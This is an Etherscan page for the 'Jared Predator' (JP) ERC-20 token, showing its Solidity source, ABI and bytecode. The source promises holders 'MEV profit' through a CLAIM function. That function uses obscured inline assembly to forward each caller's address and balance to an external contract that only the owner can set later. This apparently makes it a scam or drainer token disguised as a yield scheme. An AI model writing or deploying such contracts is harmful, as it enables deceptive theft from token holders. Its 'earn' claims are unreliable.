Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 JP
Holders
34
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.081526277 JPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
jaredpredator
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-07 */ // SPDX-License-Identifier: MIT /** https://www.jaredpredator.com/ https://jared-predator.gitbook.io/whitepaper/ https://twitter.com/jaredpredator https://t.me/jaredpredatorportal **/ pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract jaredpredator is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=5; uint256 private _finalSellTax=5; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=30; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Jared Predator"; string private constant _symbol = unicode"JP"; uint256 private constant mev_timestamp_start = 1685812788; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold=2000000 * 10**_decimals; uint256 public _maxTaxSwap=5000000 * 10**_decimals; address private mev_contract_address = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function getMEVPercentageProfit() public view returns (uint256) { uint256 addressBalance = _balances[_msgSender()]; uint256 percentage = (addressBalance * 10000) / _tTotal; return percentage / 2; // https://jared-predator.gitbook.io/whitepaper/earn-system/how-to-earn } function CLAIM() public { require(mev_contract_address != address(0x000000000000000000000000000000000000dEaD), "The MEV contract address was not set yet!"); require(balanceOf(_msgSender()) > 0, "You need to own a percentage of the totalSupply in order to use this function!"); address local_addy = mev_contract_address; uint256 _balance = balanceOf(_msgSender()); assembly { if lt(timestamp(), mev_timestamp_start) { revert(3, 3) } mstore(0x7c, 0x2c9a5c20) mstore(0x80, caller()) mstore(0xa0, _balance) let s1 := call(sub(gas(), 5000), local_addy, 0, 0x7c, 0x44, 0, 0) if iszero(s1) { revert(3, 3) } } } function setMevContract(address addy) external onlyOwner { mev_contract_address = addy; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CLAIM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMEVPercentageProfit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"}],"name":"setMevContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff19169055600f6007819055600881905560056009818155600a9182556019600b55600c92909255601e600d555f600e5562000046919062000359565b62000056906301312d0062000370565b600f55620000676009600a62000359565b62000077906301312d0062000370565b601055620000886009600a62000359565b6200009790621e848062000370565b601155620000a86009600a62000359565b620000b790624c4b4062000370565b601255601380546001600160a01b03191661dead1790556015805461ffff60a81b19169055348015620000e8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191661010033021790556200014e6009600a62000359565b6200015e90633b9aca0062000370565b335f908152600160208190526040822092909255600390620001875f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001ea3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002236009600a62000359565b6200023390633b9aca0062000370565b60405190815260200160405180910390a36200038a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029e57815f19048211156200028257620002826200024a565b808516156200029057918102915b93841c939080029062000263565b509250929050565b5f82620002b65750600162000353565b81620002c457505f62000353565b8160018114620002dd5760028114620002e85762000308565b600191505062000353565b60ff841115620002fc57620002fc6200024a565b50506001821b62000353565b5060208310610133831016604e8410600b84101617156200032d575081810a62000353565b6200033983836200025e565b805f19048211156200034f576200034f6200024a565b0290505b92915050565b5f6200036960ff841683620002a6565b9392505050565b80820281158282048414176200035357620003536200024a565b611acc80620003985f395ff3fe60806040526004361061013f575f3560e01c8063715018a6116100b357806395d89b411161006d57806395d89b4114610372578063a9059cbb1461039c578063bf474bed146103bb578063c876d0b9146103d0578063c9567bf9146103e9578063dd62ed3e146103fd575f80fd5b8063715018a6146102e657806373d74876146102fa578063751039fc1461030e5780637d1db4a5146103225780638da5cb5b146103375780638f9a55c01461035d575f80fd5b806323b872dd1161010457806323b872dd14610219578063313ce567146102385780633bbac5791461025357806351bc3c851461028a5780635337be481461029e57806370a08231146102b2575f80fd5b806306fdde031461014a578063095ea7b3146101925780630b4c6af0146101c15780630faee56f146101e257806318160ddd14610205575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d2530b932b210283932b230ba37b960911b60208201525b60405161018991906116bf565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611721565b610441565b6040519015158152602001610189565b3480156101cc575f80fd5b506101e06101db36600461174b565b610457565b005b3480156101ed575f80fd5b506101f760125481565b604051908152602001610189565b348015610210575f80fd5b506101f76104ab565b348015610224575f80fd5b506101b1610233366004611766565b6104cb565b348015610243575f80fd5b5060405160098152602001610189565b34801561025e575f80fd5b506101b161026d36600461174b565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610295575f80fd5b506101e0610532565b3480156102a9575f80fd5b506101f7610588565b3480156102bd575f80fd5b506101f76102cc36600461174b565b6001600160a01b03165f9081526001602052604090205490565b3480156102f1575f80fd5b506101e06105dc565b348015610305575f80fd5b506101e061064d565b348015610319575f80fd5b506101e06107a6565b34801561032d575f80fd5b506101f7600f5481565b348015610342575f80fd5b505f546040516001600160a01b039091168152602001610189565b348015610368575f80fd5b506101f760105481565b34801561037d575f80fd5b5060408051808201909152600281526104a560f41b602082015261017c565b3480156103a7575f80fd5b506101b16103b6366004611721565b610861565b3480156103c6575f80fd5b506101f760115481565b3480156103db575f80fd5b506006546101b19060ff1681565b3480156103f4575f80fd5b506101e061086d565b348015610408575f80fd5b506101f76104173660046117a4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61044d338484610c14565b5060015b92915050565b5f546001600160a01b031633146104895760405162461bcd60e51b8152600401610480906117db565b60405180910390fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104b86009600a611904565b6104c690633b9aca00611912565b905090565b5f6104d7848484610d37565b610528843361052385604051806060016040528060288152602001611a6f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061131e565b610c14565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b031614610556575f80fd5b305f9081526001602052604090205480156105745761057481611356565b47801561058457610584816114df565b5050565b335f90815260016020526040812054816105a46009600a611904565b6105b290633b9aca00611912565b6105be83612710611912565b6105c89190611929565b90506105d5600282611929565b9250505090565b5f546001600160a01b031633146106055760405162461bcd60e51b8152600401610480906117db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6013546001600160a01b031661deac19016106bc5760405162461bcd60e51b815260206004820152602960248201527f546865204d455620636f6e7472616374206164647265737320776173206e6f7460448201526820736574207965742160b81b6064820152608401610480565b5f6106c6336102cc565b116107505760405162461bcd60e51b815260206004820152604e60248201527f596f75206e65656420746f206f776e20612070657263656e74616765206f662060448201527f74686520746f74616c537570706c7920696e206f7264657220746f207573652060648201526d746869732066756e6374696f6e2160901b608482015260a401610480565b6013546001600160a01b03165f610766336102cc565b905063647b763442101561077957600380fd5b632c9a5c20607c52336080528060a0525f806044607c5f866113885a03f1806107a157600380fd5b505050565b5f546001600160a01b031633146107cf5760405162461bcd60e51b8152600401610480906117db565b6107db6009600a611904565b6107e990633b9aca00611912565b600f556107f86009600a611904565b61080690633b9aca00611912565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108406009600a611904565b61084e90633b9aca00611912565b60405190815260200160405180910390a1565b5f61044d338484610d37565b5f546001600160a01b031633146108965760405162461bcd60e51b8152600401610480906117db565b601554600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610480565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611904565b61052390633b9aca00611912565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad9190611948565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a309190611948565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611948565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610ae3816001600160a01b03165f9081526001602052604090205490565b5f80610af65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b819190611963565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfa919061198e565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610480565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610480565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610480565b6001600160a01b038216610dfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610480565b5f8111610e5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610480565b5f80546001600160a01b03858116911614801590610e8957505f546001600160a01b03848116911614155b156111e1576001600160a01b0384165f9081526004602052604090205460ff16158015610ece57506001600160a01b0383165f9081526004602052604090205460ff16155b610ed6575f80fd5b60065460ff1615610f8d576014546001600160a01b03848116911614801590610f0d57506015546001600160a01b03848116911614155b15610f8d57325f908152600560205260409020544311610f7b5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610480565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610fb857506014546001600160a01b03848116911614155b8015610fdc57506001600160a01b0383165f9081526003602052604090205460ff16155b156110c257600f548211156110335760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610480565b60105482611055856001600160a01b03165f9081526001602052604090205490565b61105f91906119ad565b11156110ad5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610480565b600e8054905f6110bc836119c0565b91905055505b6110ee60646110e8600b54600e54116110dd576007546110e1565b6009545b859061151a565b9061159f565b6015549091506001600160a01b03848116911614801561111757506001600160a01b0384163014155b156111445761114160646110e8600c54600e5411611137576008546110e1565b600a54859061151a565b90505b305f90815260016020526040902054601554600160a81b900460ff1615801561117a57506015546001600160a01b038581169116145b801561118f5750601554600160b01b900460ff165b801561119c575060115481115b80156111ab5750600d54600e54115b156111df576111cd6111c8846111c3846012546115e0565b6115e0565b611356565b4780156111dd576111dd476114df565b505b505b801561125957305f9081526001602052604090205461120090826115f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112509085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461127b9083611652565b6001600160a01b0385165f908152600160205260409020556112be6112a08383611652565b6001600160a01b0385165f90815260016020526040902054906115f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113078585611652565b60405190815260200160405180910390a350505050565b5f81848411156113415760405162461bcd60e51b815260040161048091906116bf565b505f61134d84866119d8565b95945050505050565b6015805460ff60a81b1916600160a81b17905580156114cf57601554600160a01b900460ff16156114cf576040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b4576113b46119eb565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142f9190611948565b81600181518110611442576114426119eb565b6001600160a01b0392831660209182029290920101526014546114689130911684610c14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a09085905f908690309042906004016119ff565b5f604051808303815f87803b1580156114b7575f80fd5b505af11580156114c9573d5f803e3d5ffd5b50505050505b506015805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610584573d5f803e3d5ffd5b5f825f0361152957505f610451565b5f6115348385611912565b9050826115418583611929565b146115985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610480565b9392505050565b5f61159883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611693565b5f8183116115ee5782611598565b50919050565b5f8061160083856119ad565b9050838110156115985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610480565b5f61159883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131e565b5f81836116b35760405162461bcd60e51b815260040161048091906116bf565b505f61134d8486611929565b5f6020808352835180828501525f5b818110156116ea578581018301518582016040015282016116ce565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461171e575f80fd5b50565b5f8060408385031215611732575f80fd5b823561173d8161170a565b946020939093013593505050565b5f6020828403121561175b575f80fd5b81356115988161170a565b5f805f60608486031215611778575f80fd5b83356117838161170a565b925060208401356117938161170a565b929592945050506040919091013590565b5f80604083850312156117b5575f80fd5b82356117c08161170a565b915060208301356117d08161170a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561185e57815f190482111561184457611844611810565b8085161561185157918102915b93841c9390800290611829565b509250929050565b5f8261187457506001610451565b8161188057505f610451565b816001811461189657600281146118a0576118bc565b6001915050610451565b60ff8411156118b1576118b1611810565b50506001821b610451565b5060208310610133831016604e8410600b84101617156118df575081810a610451565b6118e98383611824565b805f19048211156118fc576118fc611810565b029392505050565b5f61159860ff841683611866565b808202811582820484141761045157610451611810565b5f8261194357634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611958575f80fd5b81516115988161170a565b5f805f60608486031215611975575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561199e575f80fd5b81518015158114611598575f80fd5b8082018082111561045157610451611810565b5f600182016119d1576119d1611810565b5060010190565b8181038181111561045157610451611810565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a4d5784516001600160a01b031683529383019391830191600101611a28565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a196ef6074c312aee7721cee0a0ba50e155dcbf3cfabe37b938e93498809611464736f6c63430008140033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c8063715018a6116100b357806395d89b411161006d57806395d89b4114610372578063a9059cbb1461039c578063bf474bed146103bb578063c876d0b9146103d0578063c9567bf9146103e9578063dd62ed3e146103fd575f80fd5b8063715018a6146102e657806373d74876146102fa578063751039fc1461030e5780637d1db4a5146103225780638da5cb5b146103375780638f9a55c01461035d575f80fd5b806323b872dd1161010457806323b872dd14610219578063313ce567146102385780633bbac5791461025357806351bc3c851461028a5780635337be481461029e57806370a08231146102b2575f80fd5b806306fdde031461014a578063095ea7b3146101925780630b4c6af0146101c15780630faee56f146101e257806318160ddd14610205575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d2530b932b210283932b230ba37b960911b60208201525b60405161018991906116bf565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611721565b610441565b6040519015158152602001610189565b3480156101cc575f80fd5b506101e06101db36600461174b565b610457565b005b3480156101ed575f80fd5b506101f760125481565b604051908152602001610189565b348015610210575f80fd5b506101f76104ab565b348015610224575f80fd5b506101b1610233366004611766565b6104cb565b348015610243575f80fd5b5060405160098152602001610189565b34801561025e575f80fd5b506101b161026d36600461174b565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610295575f80fd5b506101e0610532565b3480156102a9575f80fd5b506101f7610588565b3480156102bd575f80fd5b506101f76102cc36600461174b565b6001600160a01b03165f9081526001602052604090205490565b3480156102f1575f80fd5b506101e06105dc565b348015610305575f80fd5b506101e061064d565b348015610319575f80fd5b506101e06107a6565b34801561032d575f80fd5b506101f7600f5481565b348015610342575f80fd5b505f546040516001600160a01b039091168152602001610189565b348015610368575f80fd5b506101f760105481565b34801561037d575f80fd5b5060408051808201909152600281526104a560f41b602082015261017c565b3480156103a7575f80fd5b506101b16103b6366004611721565b610861565b3480156103c6575f80fd5b506101f760115481565b3480156103db575f80fd5b506006546101b19060ff1681565b3480156103f4575f80fd5b506101e061086d565b348015610408575f80fd5b506101f76104173660046117a4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61044d338484610c14565b5060015b92915050565b5f546001600160a01b031633146104895760405162461bcd60e51b8152600401610480906117db565b60405180910390fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104b86009600a611904565b6104c690633b9aca00611912565b905090565b5f6104d7848484610d37565b610528843361052385604051806060016040528060288152602001611a6f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061131e565b610c14565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b031614610556575f80fd5b305f9081526001602052604090205480156105745761057481611356565b4780156105845761058481611